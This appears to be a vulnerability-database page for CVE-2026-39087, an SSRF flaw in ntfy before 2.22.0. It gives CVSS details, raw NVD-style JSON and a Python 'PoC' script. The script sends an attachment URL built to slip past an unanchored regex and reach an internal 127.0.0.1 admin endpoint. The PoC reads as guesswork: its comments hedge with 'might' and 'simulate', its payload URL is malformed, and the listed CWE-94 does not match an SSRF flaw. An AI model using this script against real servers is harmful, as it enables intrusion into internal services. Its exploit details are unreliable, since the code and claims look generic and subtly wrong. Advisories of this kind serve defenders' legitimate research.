Security Vulnerability Report
中文
CVE-2026-39087 CVSS 9.8 CRITICAL

CVE-2026-39087

Published: 2026-04-23 16:16:25
Last Modified: 2026-05-04 06:16:01

Description

ntfy before 2.22.0 allows SSRF because of an unanchored regular expression.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ntfy < 2.22.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target vulnerable ntfy instance (replace with actual target) target_url = "http://localhost:80/mytopic" # Payload designed to bypass unanchored regex validation. # Example: Using '@' to confuse the parser or bypass blocklists. # The regex might check for 'trusted.com' but unanchored allows 'trusted.com@internal_ip'. internal_target = "http://127.0.0.1:80/admin" bypass_payload = f"http://trusted-site.com@{internal_target}" headers = { "User-Agent": "CVE-2026-39087-Test" } # In ntfy, SSRF often triggers via attachment URL or webhook features. # Here we simulate a request that includes the malicious URL. data = { "message": "SSRF Test", "attach": bypass_payload # Triggering the vulnerable attachment fetch logic } try: response = requests.post(target_url, json=data, headers=headers) print(f"[+] Request sent to {target_url}") print(f"[+] Payload used: {bypass_payload}") print(f"[+] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Potential SSRF successful. Check internal server logs.") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39087", "sourceIdentifier": "[email protected]", "published": "2026-04-23T16:16:25.063", "lastModified": "2026-05-04T06:16:00.913", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "ntfy before 2.22.0 allows SSRF because of an unanchored regular expression."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "http://ntfy.com", "source": "[email protected]"}, {"url": "http://ntfysh.com", "source": "[email protected]"}, {"url": "https://gist.github.com/MightyNawaf/5d41d6e8ead16e217f86b016002ecae5", "source": "[email protected]"}, {"url": "https://github.com/binwiederhier/ntfy/releases/tag/v2.22.0", "source": "[email protected]"}]}}